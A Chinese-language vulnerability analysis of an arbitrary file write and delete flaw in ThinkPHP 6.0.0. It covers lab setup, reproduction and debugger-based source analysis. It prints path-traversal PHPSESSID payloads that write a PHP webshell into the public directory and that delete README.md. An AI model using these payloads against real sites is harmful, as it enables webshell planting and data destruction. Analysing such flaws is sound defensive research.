TP6任意文件操作漏洞分析
环境准备
- windows 10
- phpstudy 8(php7.3)
- topthink/framework v6.0.0
thinkphp6默认未开启session,开启需修改/app/middleware.php文件,去掉\think\middleware\SessionInit::class
前的注释
在控制器修改添加相应测试语句,如下
1 |
|
修改phpstudy配置,使网站根目录指向public目录
漏洞复现
文件写入
修改PHPSESSID
为payload:112233/../../../public/shell.php
触发漏洞http://127.0.0.1/index.php?test=<?php%20phpinfo();?>
public目录下会生成相应的shell文件
文件删除
修改PHPSESSID
为payload:1122334455661/../../../README.md
触发漏洞http://127.0.0.1/index.php?test=
CMS根目录下相应的README.md文件即会被删除
漏洞分析
在session('test', $_GET['test']);
处打上断点
由于thinkphp的session存储是要在会话结束才进行的,所以停在断点后,继续往后跳就行了
最后找到关键的漏洞函数,在vendor\topthink\framework\src\think\session\Store.php:254
1 | public function save(): void |
写shell的操作,到该函数时调试结果如下
$data
以数组方式存储session数据,测试代码中来自$_GET['test']
函数中判断$data
不为空,则将$data
序列化后写入$sessionId
,也就是用户可控的PHPSESSID
中的值
如果判断为空,则进行删除操作
注意点
PHPSESSID
需要满足长度为32,否则内容不可控,代码见vendor\topthink\framework\src\think\session\Store.php:1191
2
3
4public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}thinkphp中session存储文件的命名格式为
sess_
+PHPSESSID
,但是实际情况下web目录会设置成/public,无法直接访问到/runtime目录下生成的文件,也就是说需要使用..
往上级目录跳,也就必须越过sess_xxxx
这个不存在的目录,所以该漏洞基本只能用于windows环境实际情况中session数据可控的情况很少,但是官方文档中有使用
session('test')
取值的操作(测试代码中注释部分),如果sess_
+PHPSESSID
该文件中的数据不可反序列化,$data
则取不到数据,会话结束后便进入到删除操作,表明文件删除的情况应该多于getshell
Reference
https://mochazz.github.io/2020/01/14/ThinkPHP6.0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99/
https://paper.seebug.org/1114/